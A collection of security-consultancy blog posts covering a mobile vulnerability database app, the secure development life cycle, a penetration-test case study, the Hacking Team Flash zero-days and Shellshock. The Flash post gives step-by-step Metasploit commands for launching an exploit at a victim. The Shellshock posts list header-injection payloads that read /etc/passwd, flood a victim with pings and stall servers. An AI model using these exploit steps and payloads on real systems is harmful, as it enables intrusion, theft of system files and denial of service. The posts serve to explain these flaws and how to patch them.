 gpmvd

 

Introduction:

The Android operating system is the most widely used operating system for mobile devices. Android has around 82.8% (IDC) market share and is a favourite  target for attackers. One of the latest vulnerabilities, StageFright, allows the attacker to execute arbitrary code on an Android device which takes advantage of a flaw that exists in media library stagefright. Considering other platforms such iOS, Windows, and Blackberry, Varutra is maintaining the vulnerabilities related to mobile operating systems in the Mobile Vulnerability Database (MVD). Varutra has developed the MVD application for the Android platform which identifies vulnerabilities on the Android operating system and provides detailed vulnerability reports, and which is freely available on Playstore for all Android users. The applications for other platforms are under development and will be available very soon for iOS, Windows and Blackberry.

MVD (Mobile Vulnerability Database):

Mobile Vulnerability Database, or MVD, is a unique place to find out about vulnerabilities reported worldwide for Mobile Platforms.

A user can browse through vulnerabilities specific to their mobile platform and the particular version. The objective of MVD is to give a common place for mobile users to get acquainted with the vulnerabilities that might exist on their devices. Users can choose to receive specific vulnerability details as a report via Email.

1. MVD

Platforms covered by MVD

At present MVD covers major mobile smartphone platforms such as Android, Blackberry, iOS and Windows Phone.

2.1 PlatformsMVD Web Application:

MVD is also available in web interface where users can search and gather information related to mobile operating system vulnerabilities by simply searching by the Common Vulnerabilities and Exposures (CVE ID) vulnerability category.

A user can browse through vulnerabilities specific to their mobile platform and the particular version. The objective is to give a common place for mobile users to get acquainted with what vulnerabilities might exist on their devices. Additionally, users can choose to receive specific vulnerability details as a report via Email.

Web Application

For more information: http://varutra.com/mvd/

MVD Platforms:

MVD is developed for mobile operating systems such as Android, iOS, BlackBerry and Windows

3.1 MVD PlatformsTerminologies related to MVD

What is KVID?

KALP Varutra ID (KVID) is a unique number assigned to each reported vulnerability; maintained in the MVD database by the Varutra team.

E.g. KVA01 for Android, KVB01 for Blackberry, KVI01 for iOS and KVW01 for Windows Phone

Note: KALP stands for Knowledge Attained Learn Process. It is a blog for information published on the World Wide Web and consisting of discrete entries (“posts”) typically displayed in reverse chronological order.

What is CVE?

Common Vulnerabilities and Exposures (CVE) is a dictionary of common names (CVE Identifiers) for publicly known information security vulnerabilities maintained by the MITRE Corporation. The goal of CVE is to make it easier to share data across separate vulnerability capabilities (tools, repositories, and services) with this “common enumeration.”

For more information: https://en.wikipedia.org/wiki/Common_Vulnerabilities_and_Exposures

What is CVSS?

Common Vulnerability Scoring System (CVSS) is a vendor agnostic, industry open standard designed to convey the severity of vulnerabilities. CVSS scores may be used to determine the urgency for update deployment within an organization.

For more information:

https://en.wikipedia.org/wiki/CVSS

CVSS scores can range from 0.0 (no vulnerability) to 10.0 (critical).

E.g. BlackBerry uses CVSS in vulnerability assessments to present an immutable characterization of security issues. BlackBerry assigns all relevant security issues a non-zero score. Customers performing their own risk assessments of vulnerabilities that may impact them can benefit from using the same industry-recognized CVSS metrics.

MVD Feature:

MVD feature How to get the Vulnerability Report on Email?

The user can register with their Name and Email ID on Register for Vulnerability Report and then select the required platform and version to receive the report. A module is being implementing where once a user is registered they will get automatic updates for any new vulnerabilities reported in the platform and version specifically chosen by the user.

4.1 Vulnerability Report

 Users can now access the MVD on their Android Smartphones, Tablets.

The MVD Android application covers major mobile smartphone / tablet platforms such as Android, Blackberry, iOS and Windows Phone. Users can register with their Name and Email ID on “Register for Vulnerability Report” and then select the desired mobile platform and version to receive the report. Users can also download the MVD Android application on your device from Google Play:

https://play.google.com/store/apps/details?id=com.varutra.mobilevulndb&hl=en

 Conclusion: 

MVD very useful for mobile phone users who are interested in knowing the vulnerabilities in their Android phone and want to mitigate the vulnerabilities. Additionally, MVD is useful for security researchers interested in knowing the vulnerabilities present in multiple mobile operating systems.

For more Details reading Pentestmag

Author:

Mr. Chetan Gulhane

Security Consultant, Varutra Consulting Pvt. Ltd.

12/3/15

Introduction to Secure Software Development Life Cycle

The most effective way to reduce application security risk is to implement a formal development process that includes security best practices to avoid application vulnerabilities.

Secure Development process and Security Testing are powerful tools to monitor and search for application flaws and they should be used together to increase the security level of business critical applications/software’s.

What Is Application Security?

Application security helps to eliminate potential attacks to business websites and applications when running internally or publicly on the Internet. This process reduces unexpected risks, financial loss and builds customer trust as well as increases brand value as a result.

Application security is a process that begins from the application development lifecycle to ensure the highest security possible of the development process (coding), the system, hardware the application runs on and the network it uses to connect, authenticate and authorize users.

1

Fig: Application Security

What is SDLC?

SDLC stands for Software Development Life Cycle. SDLC is the process consisting of a series of planned activities to develop the software products. The life cycle defines a methodology for improving the quality of software and the overall development process.

What is S-SDLC?

The S-SDLC stands for Secure Software Development Lifecycle (SSDLC) is a software development process that helps developers builds more secure software and reducing development cost while  address security compliance requirements.

The only way to fully protect applications is to build security into the applications themselves. According to formal S-SDLC methodology, organizations define an end-to-end process of secure software coding and testing practices.

The entire software development lifecycle when embedded with security features is known as “Secure Software Development Lifecycle“. 

What is the Need of S-SDLC?

As an old saying goes – “Need is the mother of invention” – This is applicable for S-SDLC as well. There are multiple reasons why programs like these have gained popularity.

Hackers or attacker can break into an organizations network through various routes and one such route is the application host. If applications are hosted by organization are vulnerable, it can lead to serious consequences.

This is where S-SDLC comes into the picture. While employing a team of ethical hackers helps, having processes like S-SDLC can help organizations in addressing the above discussed issues in a much more cost-efficient manner as identifying security issues earlier in the development life cycle.

The Heartbleed Bug is a perfect example of what could go wrong if a software provider does not embed security from the beginning of a product’s development.

All developers test their software. They test the individual functions, methods, and modules they write to ensure it works as advertised. System integrators test the entire system to ensure the same.

What exactly does The Secure SDLC?

Most SDLC models generally follow these steps in order: Gather Requirements, Design, Implement, Test and Release. The Secure SDLC includes security checks at all these steps. This includes Threat Modeling in the Requirements and Design phases, Static Application Security Testing (SAST) at the Implement and Test phases, and Dynamic Application Security Testing (DAST) at the Test and Release phases.

Threat Modeling is the process by which threats to the application are discovered and documented so they can be mitigated during the implementation phase. At the beginning of this process testers/ analysts learn how the application is intended to work by reviewing the requirements and design of the application. Depending on the intentions of the application, and the type of data stored, transmitted or processed on the application, and by utilizing an attacker’s mentality they develop scenarios and use cases which show how an entity might attack the software being developed. These models are then reviewed and new requirements and design features are put in place to mitigate the threats to the application.

Brief Explanation of S-SDLC:

Application Security is often mapped into key phases during Secure Software Development Life Cycle. Each phase of the S-SDLC is mapped with security activities.

 

2

Figure: Secure Software Development Life Cycle(S-SDLC)

Following are the phases of secure software development life cycle:

1. Core Security Training Phase: Training to software development teams on application security, organizational and to make sure the team stays informed of the latest updates in security and privacy. Foundational concepts for building better software include secure design, threat modeling, secure coding, security testing, and best practices surrounding privacy.

Software development teams on application security, organizational policy and capabilities to make sure the team stays informed of the latest updates in security and privacy.

The Security Awareness Training for Software Developers includes the following modules:

  • Secure Coding Best Practices based on the OWASP Top 10
  • Defensive techniques, ideally presented as a framework (e.g. OWASP ESAPI)
  • Web Service and Web 2.0 Threats
  • Black-box Application Assessment Tools
  • Best practices for secure code reviews
  • Cryptography, Hashing and Obfuscation
  • Input Validation Strategies
  • Understanding Threats: Threat Modeling

2. Requirements Gathering Phase: These should be gathered by the same personnel, in fact. Since the idea of secure development is to start at the very beginning of the coding, it helps to have both the feature requirements and the security requirements side by side during planning.

  • Security Requirements
  • Risk Assessment

3. Planning and Design: Consider security and privacy in the initial design of new products and features and permits the integration of security in a way that minimizes disruptions to plans and schedules.

  • Identify Design Requirements from security perspective
  • Architecture & Design Reviews
  • Threat Modeling

Consider security and privacy when designing new features of products and integrate security into applications with minimal disruption.

4. Implementation: Avoid coding issues that could lead to vulnerabilities and leverages state-of-the-art development tools to assist in building more secure code. Analyzing the source code prior to compile provides a scalable method of security code review and helps ensure that secure coding policies are being followed.

  • Make certain SQL queries are parameterized correctly and that input is validated
  • Ensure developers are performing proper validation to prevent Cross Site Scripting
  • Coding Best Practices
  • Perform Static Analysis
  • Secure Data Storage
  • Secure Access Control

Prevent coding errors from creating vulnerabilities as well as use sophisticated development tools to build more secure code.

5. Verification and Testing: Run-time verification of software applications to ensure that functionality works as designed. Apply appropriate verification to software applications and make sure they produce proper functionality as defined in the initial design.

  • Vulnerability Assessment
  • Fuzzing

Apply appropriate verification to software applications and make sure they produce proper functionality as defined in the initial design.

6. Deployment: Response plans and protocols to address new threats that emerges over time. Certifying software prior to a release helps ensure security and privacy requirements were met.

  • Server Configuration Review
  • Network Configuration Review

Make sure to have the right plans or protocols for response when new threats emerge over time.

 Best Practices for SDL

  • Define security training policy which addresses requirements based on job responsibilities
  • Define Security Requirement Guidelines which for applications
  • Define and implement Risk Assessment Practices
  • Define Minimum level of security and privacy quality
  • Define Secure architecture design guidelines
  • Perform attack surface analysis
  • Perform threat modeling in design phase
  • Define secure coding guidelines
  • Define Secure Coding Checklist
  • Define secure code review checklists
  • Define unsafe functions, cryptographic algorithms
  • Perform application security testing
  • Define secure deployment policy
  • Define guidelines and procedures for secure deployment
  • Define security benchmark such as CIS, DISA for application environment configuration

3

Benefits of Secure SDLC:

  • Build More Secure Software
  • Help Address Security Compliance Requirements
  • Reduce Costs of Maintenance
  • Awareness of potential engineering challenges caused by mandatory security controls
  • Identification of shared security services and reuse of security strategies and tools
  • Early identification and mitigation of security vulnerabilities and problem
  • Documentation of important security decisions made during the development

References:

http://www.microsoft.com/security/sdl/process/training.aspx

http://www.microsoft.com/security/sdl/default.aspx

https://www.owasp.org/index.php/Secure_SDLC_Cheat_Sheet

AUTHOR:

Security Consultant, Varutra Consulting, Pvt. Ltd.

10/27/15

External Penetration Testing – Case Study

Penetration Testing

ABSTRACT

External Penetration Testing consists of a reviewing and assessing the vulnerabilities that could be exploited by external users/Hacker without any credentials or without having any access to target system.

The assessment basically plays vital role in ensuring perimeter security, infrastructure security of the organization which may or can leads to the impact of business as Sensitive information present. Also it will ensure about possibilities of external threats/attackers & behavior of them as well, to minimize risk and threat ratio External Network Security Assessment has taken into consideration.

If External Network Security is not taken seriously, will leads to information/data theft which will be damage to the image of the company/organization’s brand and ultimately it will affect whole business of the organization. This will show whether there has been a Return on Investment (ROI) of existing implemented security controls, such as firewalls, intrusion detection and prevention systems, or implemented application defenses.

The role of a pentester is to perform penetration testing of the internet facing network, find vulnerabilities and try to exploit vulnerable systems/network to obtain confidential and sensitive information which can or may compromise the network perimeter and suggest measures to remediate the security issues to secure the network.

Varutra’s penetration testing methodology is in accordance with best standards and follows guidelines from OSSTMM, OSINT, NIST and OWASP. It makes use of our extensive experience in penetration testing and security assessment to discover previously missed vulnerabilities providing an impact level of security assurance.

This is a case study of an external network penetration test that Varutra performed on one of the overeas client organization proving egovernance. Some of the information has been changed or modified to maintain confidentiality.

BACKGROUND

The client network was consisting of various technologies such as firewall, routers, IPS, web servers etc.  The goal was to understand the current level of external risks which may compromise the sensitive data of the customer as well as the organization. Mainly we had to understand about infrastructure of client network & based on it we started the Penetration Testing. Client commissioned Varutra to carry out an external penetration testing and supplied Varutra with the external IP address ranges to be tested. No other information given such as live IP addresses, name, type, nature of systems along with the underlined services running on them.

APPROACH AND METHODOLOGY

Varutra consultants then proceeded with the following stages of the penetration test:

Information gathering (Active & Passive)

– Attacking on DNS

– Discovering Firewall & IPS

– Scanning for External IP’s and associated systems, services.

Attacking WordPress application

Attacking Joomla application

Attacking Web Servers

– Attacking Web Applications

– User Account Bruteforcing

Attacking Network Layer

– Attacking Web Servers

– Attacking Email Server

– Firewall Evasion

Producing a detailed report of issues and recommendations with proof of concepts screenshots

Varutra has followed scenario based assessment approach for the Penetration Testing Phases.

During an External Penetration Test, Varutra can take the perspective of a known or unknown external threat to the organization. Varutra has started footprinting of the organization using Open Source Intelligence (OSINT), Domain Name System (DNS) reconnaissance, NSLookup and other techniques to identify all information that belongs to the client’s network & infrastructure. Varutra started identifying and discovering ports with respect to its services on each workstation and identified vulnerabilities associated with them.

During the attack phase, Varutra attempts to find all possible ways which can breach client’s network using the combinations of tools and techniques employed by hackers in real world attacks. Mainly targets includes web applications/web servers, email system, firewalls and personal information through techniques of Social Engineering attacks.

 External Penetration Testing Methodology

Figure: External Penetration Testing Methodology

 

KEY FINDINGS/OBSERVATIONS

Varutra identified and analysed network perimeter based on the scanning techniques and responses getting from the target. Identified firewall IP which was giving wrong information regarding ports i.e. firewall was misconfigured showing closed ports as well. While doing web server assessment we came across web-server running with outdated version of Apache which leads us conducting Denial of Service attack on the web-server. The attack was successfully achieved. On the web application layer Varutra found multiple critical vulnerabilities such as SQL Injection, XSS, HTML Injection, and Improper Session Management as well as some low and informational level vulnerabilities. This all assessment done with the automated testing using commercial and open source tools as well as extensive manual testing for verification and validation. This was the most important phase of a penetration test because it effectively demonstrates the impact of breach for the concern organization. Main targets in this phase were security credentials and other personal information, web-server/website credentials and sensitive proprietary information of organization (such as source code, or internal methodologies and formulas).

In the final deliverable, Varutra has provided in detailed information for each and every vulnerability which was discovered and exploited, including suggested recommendation or mitigation steps. Finally, Varutra has provided a detailed step-by-step impact of the breach to target organization which explains how several low severe vulnerabilities also can be linked together to achieve a complete and successful compromise.

 

KEY HIGHLIGHTS

Varutra consultants completed Penetration Testing process with scenario based. Main key highlights of the testing are listed below:

1. Initial scoping of the network was conducted to map and identify the current network, sensitive assets, entry points, existing security mechanisms etc.

2. Conducted penetration testing on the target network devices and systems.

3. Exploit tests carried out, such as mail spoofing and DNS zone transfer.

4. Consultants leveraged on the known vulnerabilities to further penetrate the network and identify the impact of the vulnerabilities if getting exploited.

5. Technical, in depth list of issues listed and recommendations on reducing the risk starting with the most critical.

 

DELIVERABLES

The reports and remediation information provided by Varutra were customized to match the Client’s operational environment and requirement. The following reports were submitted to the client:

1. Executive Report: Overview of the entire engagement, the vulnerabilities statistics and the roadmap for the recommendations made to mitigate the threats identified.

2. Technical Report: Comprehensive information, proof of concept examples and detailed exploitation instructions of all the threats/vulnerabilities identified and remediation for the same.

3. Mitigation Tracker: Simple and comprehensive vulnerability tracker aimed at helping the IT asset owner/administrator to keep track of the vulnerabilities, remediation status, action items, etc.

 

BENEFITS

Our Penetration Test helped the client to identify the potential threats / vulnerability that could have compromised their network and its components. We also assisted them in assessing percentage of potential business and operational impacts of successful attacks/exploitation.

Additionally, the client gained the following benefits:

* Risk Benefits: Varutra minimized security risks by assessing and analysing the client’s infrastructure vulnerabilities and recommended solutions and remediation with proven methods to enhance security of organization.

* Cost Savings: Varutra suggested cost-effective risk-mitigation measures based on the client’s business requirements that would ensure security and continuity of the business.

* Customer Satisfaction: Penetration testing was conducted with minimum interruption and damage across client systems/workstations to identify security vulnerabilities, their impacts and potential risks.

* Compliance: As an added bonus, the client was able to utilize the information gained from this Penetration Test to easily gain industry certifications and provide a higher level of service to its customers.

 

REFERENCES

https://www.dionach.com/library/network-penetration-test-case-study

http://www.testlab.com.au/images/pentest.png

 

AUTHOR:

Omkar Joshi & Chetan Gulhane

Security Consultant, Varutra Consulting Pvt. Ltd.

10/24/15

Adobe Flash Player Zero Day Attacks Found In Hacking Team Data Leaked

adobe-addresses-latest-flash-player-zero-day-vulnerability

Hacking Team is a Milan-based information technology company that sells offensive intrusion and surveillance capabilities to governments, law enforcement agencies and corporations.Its “Remote Control Systems” enable governments and corporations to monitor the communications of internet users, decipher their encrypted files and emails, record Skype and other Voice over IP communications,  and remotely activate microphones and camera on target computers.Hacking Team states that they have the ability to disable their software if it is used unethically.

The Recent Cyber Attack that exposed 400GB of data belonging to Hacking Team has following  Zero Day vulnerability in Adobe Flash Player in their data.

  • CVE-2015-5119                                                                                                                             
  • CVE-2015-5122
  • CVE-2015-5123                                                                                                                      

Let us see in detail , How these vulnerability affects the adobe flash player.

This Flash-based vulnerability, dubbed the “most beautiful Flash bug for the last four years” in Hacking Team’s internal notes,

Use-after-free vulnerability present in the ByteArray class located in the ActionScript 3 (AS3) implementation in Adobe Flash Player 13.x through 13.0.0.296 and 14.x through 18.0.0.194 on Windows and OS X and 11.x through 11.2.202.468 on Linux allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via crafted Flash content that overrides a valueOf function, as exploited in the wild in July 2015.

The critical zero-day vulnerability in Adobe Flash is a Use-After-Free() programming flaw (CVE-2015-5122) which is similar to the CVE-2015-5119.

Use-after-free vulnerability present  in the DisplayObject class located  in the ActionScript 3 (AS3) implementation in Adobe Flash Player 13.x on Windows and OS X, 14.x through 18.0.0.203 on Windows and OS X, 11.x through 11.2.202.481 on Linux, and 12.x through 18.0.0.204 on Linux Chrome installations allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via crafted Flash content that leverages improper handling of the opaqueBackground property.

Successful exploitation [of CVE-2015-5122 flaw] could cause a crash and potentially allow an attacker to take control of the affected system,” Adobe said.

Adobe credited FireEye researcher Dhanesh Kizhakkinan for reporting the vulnerability found  in stolen data leaked from Hacking Team.

The flaw can be exploited by freeing a TextLine object within the valueOf function of a custom class when setting the TextLine’s opaqueBackground. As explained by FireEye researchers:

“Once the TextLine object is freed, a Vector object is allocated in its place. Returning from valueOf will overwrite the length field of Vector object with a value of 106. (Initial length is 98).

Exploitation continues by finding the corrupted Vector object by its length, which will be greater than 100.

This enables the object to change an adjacent Vector object’s length to 0x40000000.

Once exploit achieves this, it follows the same mechanism that was used in CVE-2015-5119 PoC.”

This, in turn, allows for attackers to execute shellcode, which pops up a calculator

Use-after-free vulnerability present  in the BitmapData class located  in the ActionScript 3 (AS3) implementation in Adobe Flash Player 13.x through 13.0.0.302 on Windows and OS X, 14.x through 18.0.0.203 on Windows and OS X, 11.x through 11.2.202.481 on Linux, and 12.x through 18.0.0.204 on Linux Chrome installations allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via crafted Flash content that overrides a valueOf function, as exploited in the wild in July 2015.

The vulnerability can be triggered by the following steps:

1)  From a new BitmapData object, prepare 2 Array objects, new 2 MyClass objects, and assign the MyClass object to each Array objects.

2 )  Once the valueOf function of MyClass is override, it calls the BitmapData.paletteMap with the 2 Array objects as parameters. The BitmapData.paletteMap will trigger the valueOf function.

3)   In the valueOf function, it will call BitmapData.dispose() to dispose the underlying memory of BitmapData object, thus causing Flash Player to crash.

Steps to exploit flash zero day vulnerability with metasploit :

Note: This tutorial is for informational purposes only.

  1. First download the exploit code by creating an empty document and name it:

Adobe_Flash_HackingTeam_exploit.rb

image1Figure 1:Download the Exploit                                 

  1. download the payload from here: https://github.com/rapid7/metasploit-framework/tree/master/data/exploits/CVE-2015-5122

image2

      Figure 2:Download the Exploit

  1. Add it to the following directory:

/usr/share/metasploit-framework/data/exploits/CVE-2015-5119/msf.swf

 

  1. Now copy the exploit code and paste it into the empty document.

Use the following command to copy the file from the root/desktop to the Metasploit framework modules folder (create the flash folder if it is not here):

mv /root/Desktop/Adobe_Flash_HackingTeam_exploit.rb /usr/share/metasploit-framework/modules/exploits/windows/flash/

image3

 Figure 3: Move the Exploit in exploit-Modules

  1. You can use the following command to check whether the file has been actually copied to the destination folder:

ls  /usr/share/metasploit-framework/modules/exploits/windows/flash/

image4

 Figure 4: Confirm the destination folder

  1. open a new terminal and start Metasploit (and following services if not already started) using the following command(s):

service postgresql start

service metasploit start

msfconsole

                                  

image5

 Figure 5: Start msfconsole

  1. Now we have got Metasploit started and running with our newly imported exploit in it, we can use the following command to search for it:

search hackingteam

After this use the following command to use the newly added exploit module:

use exploit/windows/flash/Adobe_Flash_HackingTeam_Exploit

Let’s check the options for Metasploit CVE-2015-5122 module with the     following command:

show options

image6                                                        Figure 6: Trigger the Exploit                                                            

  1. We will keep the default options and type “exploit” to trigger our exploit:

Exploit

  1. Let’s open the link from a Windows 7 virtual machine with a vulnerable browser (Firefox) and a vulnerable version of Flash Player (< 18.0.0.203) installed.

image7

 Figure 7: Send the Link to the victim

CounterMeasures:

How to avoid getting infected by these exploits…

– Update Flash Player and make sure that  it is up-to-date: https://get.adobe.com/flashplayer/

If you’re unsure whether your browser has Flash installed or what version it is running, you can browse to this link : https://www.adobe.com/software/flash/about/

– Install security patches if any and keep your OS updated.

– Keep your browser updated.

References:

https://cve.mitre.org/cgi-bin/cvename.cgi

https://github.com/hackedteam

https://www.adobe.com/software/flash/about/

http://blog.trendmicro.com/

https://www.fireeye.com

 

Author: Ajay Choudhary

 Associate Security Consultant, Varutra Consulting

10/4/14

Shellshock-Security Patching Aftermath

Shell Shock-

On September 24th 2014, a publicly disclosed vulnerability was revealed in the UNIX/Linux which we have discussed in our blog http://varutra.com/blog/?p=1010. Although a patch has been released for this vunerability by vendors such as ubuntu,redhat and centos etc. but the patch was not successful, Additional vulnerability in the same area were discovered which left Bash again more vulnerable to severe attack such as arbitrary remote code execution. The set of vulnerability collectively known as shell shock are serious issue in many organizations. The CVE number that are part of this are CVE 2014-6271, CVE 2014-7169,  CVE 2014-7186, CVE 2014-7187, CVE 2014-6277 and CVE 2014-6278.

In response to shellshock, Richard Stallman (software freedom activist and computer programmer) said the bug was just a “blip”. It’s not, it’s a “blimp” — a huge nasty spot on the radar warning of big things to come. Three more related bugs have been found, and there are likely more to be found later. The cause isn’t that a programmer made a mistake, but that there is a systematic failure in the code — it’s obsolete, having been written to the standards of 1984 rather than 2014.

Detailed Explanation

The Shellshock problem is an example of an arbitrary code execution (ACE) vulnerability. Typically, ACE vulnerability attacks are executed on programs that are running, and require a highly sophisticated understanding of the internals of code execution, memory layout, and assembly language—in short, this type of attack requires an expert. Attacker will also use an ACE vulnerability to upload or run a program that gives them a simple way of controlling the targeted machine. This is often achieved by running a “shell”. A shell is a command-line where commands can be entered and executed. The Shellshock vulnerability is a major problem because it removes the need for specialized knowledge, and provides a simple (unfortunately, very simple) way of taking control of another computer (such as a web server) and making it run code. Suppose for a moment that you wanted to attack a web server and make its CD or DVD drive slide open. There’s actually a command on Linux that will do that: /bin/eject. If a web server is vulnerable to Shellshock you could attack it by adding the magic string () { :; }; to /bin/eject and then sending that string to the target computer over HTTP. Normally, the User-Agent string would identify the type of browser you are using, but, in in the case of the Shellshock vulnerability, it can be set to say anything.

Example: curl -H “User-Agent: () { :; }; /bin/eject” http://example.com/

would be enough to actually make the CD or DVD drive eject.

How does this Attack works?

When a web server receives a request for a page there are three parts of the request that can be susceptible to the Shellshock attack: the request URL, the headers that are sent along with the URL, and what are known as “arguments” (when you enter your name and address on a web site it will typically be sent as arguments in the request).

For example, here’s an actual HTTP request that retrieves the XYZ homepage:

cmd4

 

In this case the URL is / (the main page) and the headers are Accept-Encoding, Accept-Language, etc. These headers provide the web server with information about the capabilities of my web browser, my preferred language, the web site I’m looking for, and what browser I am using.

It’s not uncommon for these to be turned into variables inside a web server so that the web server can examine them. (The web server might want to know what my preferred language is so it can decide how to respond to me).

For example, inside the web server responding to the request for the XYZ home page it’s possible that the following variables are defined by copying the request headers character by character.

cmd 1

As long as those variables remain inside the web server software, and aren’t passed to other programs running on the web server, the server is not vulnerable.

Shellshock occurs when the variables are passed into the shell called “bash”. Bash is a common shell used on Linux systems. Web servers quite often need to run other programs to respond to a request, and it’s common that these variables are passed into bash or another shell.

The Shellshock problem specifically occurs when an attacker modifies the origin HTTP request to contain the magic () { :; }; string discussed above. Suppose the attacker change the User-Agent header above from

cmd2

to simply () { :; }; /bin/eject. This creates the following variable inside a web server:

cmd 3

If that variable gets passed into bash by the web server, the Shellshock problem occurs. This is because bash has special rules for handling a variable starting with () { :; };. Rather than treating the variable HTTP_USER_AGENT as a sequence of characters with no special meaning, bash will interpret it as a command that needs to be executed.

The problem is that HTTP_USER_AGENT came from the User-Agent header which is something an attacker controls because it comes into the web server in an HTTP request. And that’s a recipe for disaster because an attacker can make a vulnerable server run any command it wants (see examples below).

The solution is to upgrade bash to a version that doesn’t interpret () { :; }; in a special way.

Some attacks using shellshock

The Shellshock attack takes advantage of a flaw in Bash that enables attackers to execute remote commands that would ordinarily be blocked.

Allows an attacker to execute command via user agent, referrer, and other HTTP headers. shell shock

Figure : Working of Shellshock

The Shellshock problem is an example of an arbitrary code execution (ACE) vulnerability. A shell is a command-line where commands can be entered and executed.

  • Somebody could use your server as an attack bot:
    () { :; }; ping -s 1000000 <victim IP>
  • If victim.com was vulnerable then
    curl -H “User-Agent: () { :; }; /bin/eject” http://victim.com/
    Would be enough to actually make the CD or DVD drive eject.
  • To extract private information, attackers are using a couple of techniques. The simplest extraction attacks are in the form:
    () {:;}; /bin/cat /etc/passwd
  • DoS attack using Shellshock
    () { :;}; /bin/sleep 20| /sbin/sleep 20|/usr/bin/sleep 20

Proof of Concept for incomplete fix to shellshock

The bash fix for CVE-2014-6271 was incomplete and command injection is possible even after the patch has been applied. The issue is being tracked as CVE-2014-7169 and exists due to incorrect function parsing.

To test, execute this command from within a bash shell:

foo='() { echo not patched; }’ bash -c foo If you see “not patched“, you probably want upgrade immediately. If you see “bash: foo: command not found”, you’re OK.

Shell Shock --

 Figure: Unpatched Bash

The two attacks CVE-2014-6277(Permits remote code execution and requires a high level   of expertise. It has a CVSS score of 10.0) & CVE-2014-6278 (More severe as it allows remote code execution and doesn’t require a high level of expertise. It has a CVSS score of 10.0) are more severe and permit remote code execution:

These two vulnerabilities have been resolved in upstream patches Ubuntu/RHEL/Debian.

Deadening Shellshock

We strongly recommend applying the patches that were released on September 27th in order to remediate these new vulnerabilities by the following command:

APT-GET: Ubuntu / Debian

Update Bash to the latest version available via

apt-get: sudo apt-get update && sudo apt-get install –only-upgrade bash

YUM: CentOS / Red Hat / Fedora

Update Bash to the latest version available via the yum:

sudo yum update bash

For detailed explanation to mitigate the shellshock go through the links:

https://access.redhat.com/articles/1212303

http://www.bankinfosecurity.com/how-to-mitigate-shellshock-risks-a-7363/op-1

https://f5.com/solutions/mitigation/mitigating-the-bash-shellshock-cve-2014-6271-and-cve-2014-7169-vulnerabilities

http://www.akamai.com/html/security/shellshock-bash-cve-list.html

References:

https://www.cloudflare.com

http://seclists.org/oss-sec/2014/q3/650

https://www.digitalocean.com/community/tutorials/how-to-protect-your-server-against-the-shellshock-bash-vulnerability

https://www.qualys.com

Author(s): Lokesh Bawariya Security Consultant & Sachin Wagh Security Consultant, Varutra Consulting

09/27/14

Shell Shock – The Bash Vulnerability

BASH (Baurne Again Shell)

Bash is the shell, or command language interpreter, that will appear in the GNU operating system. Bash is an sh-compatible shell that incorporates useful features from the Korn shell (ksh) and C shell (csh). It is intended to conform to the IEEE POSIX P1003.2/ISO 9945.2 Shell and Tools standard. It offers functional improvements over sh for both programming and interactive use. In addition, most sh scripts can be run by Bash without modification. Bash is quite portable. It uses a configuration system that discovers characteristics of the compilation platform at build time, and may therefore be built on nearly every version of UNIX. Ports to UNIX-like systems such as QNX and Minix and to non-UNIX systems such as OS/2, Windows 95/98, and Windows NT are available.

Here is a short list of feature available in bash:

  • History and Command Re-entry
  • Job Control
  • Shell Functions and Aliases
  • Arrays
  • Arithmetic
  • Brace Expansion
  • Substring Capabilities
  • Expanded I/O Capabilities
  • Command Timing
  • Editing and Completion etc..

Shell-shock:

The Bash vulnerability, now dubbed by some as “Shellshock,” has been reportedly found in use by an active exploit against Web servers. A security vulnerability in the GNU Bourne Again Shell (Bash), the command-line shell used in many Linux and Unix operating systems, could leave systems running those operating systems open to exploitation by specially crafted attacks. “This issue is especially dangerous as there are many possible ways Bash can be called by an application,”

The bug, discovered by Stephane Schazelas, is related to how Bash processes environmental variables passed by the operating system or by a program calling a Bash-based script. If Bash has been configured as the default system shell, it can be used by network–based attackers against servers and other Unix and Linux devices via Web requests, secure shell, telnet sessions, or other programs that use Bash to execute scripts.

Because of its wide distribution, the vulnerability could be as wide-ranging as the Heartbleed bug, though it may not be nearly as dangerous. The vulnerability affects versions 1.14 through 4.3 of GNU Bash.Examples of exploitable systems include the following:

  • Apache HTTP Servers that use CGI scripts (via mod_cgi and mod_cgid) that are written in Bash or launch to Bash subshells
  • Certain DHCP clients
  • OpenSSH servers that use the ForceCommandcapability
  • Various network-exposed services that use Bash

How to check a vulnerable application for shellshock:

There is an easy test to determine if a Linux or Unix system is vulnerable. To check your system, from a command line, type:

env x='() { :;}; echo vulnerable’ bash -c “echo this is a test”

If the system is vulnerable, the output will be:

  vulnerable

  this is a test

Fixing Vulnerability:

The easiest way to fix the vulnerability is to use your default package manager to update the version of Bash. The following subsections cover updating Bash on various Linux distributions, including Ubuntu, Debian, CentOS, Red Hat, and Fedora.

APT-GET: Ubuntu / Debian

Update Bash to the latest version available via apt-get:

 sudo apt-get update && sudo apt-get install –only-upgrade bash

YUM: CentOS / Red Hat / Fedora

Update Bash to the latest version available via the yum:

sudo yum update bash

Note: Now check your system vulnerability again by running the command

For more information refer:  CVE-2014-6271

An unaffected (or patched) system will output:

 bash: warning: x: ignoring function definition attempt

 bash: error importing function definition for `x’

 this is a test

The fix is an update to a patched version of the Bash shell. To be safe, administrators should do a blanket update of their versions of Bash in any case.

References:

http://www.zdnet.com/shellshock-how-to-protect-your-unix-linux-and-mac-servers-7000034072/

http://www.cnet.com/news/vast-majority-of-os-x-users-safe-from-bash-shellshock-bug-apple-says/

 

Author: Lokesh Bawariya

Security Consultant, Varutra Consulting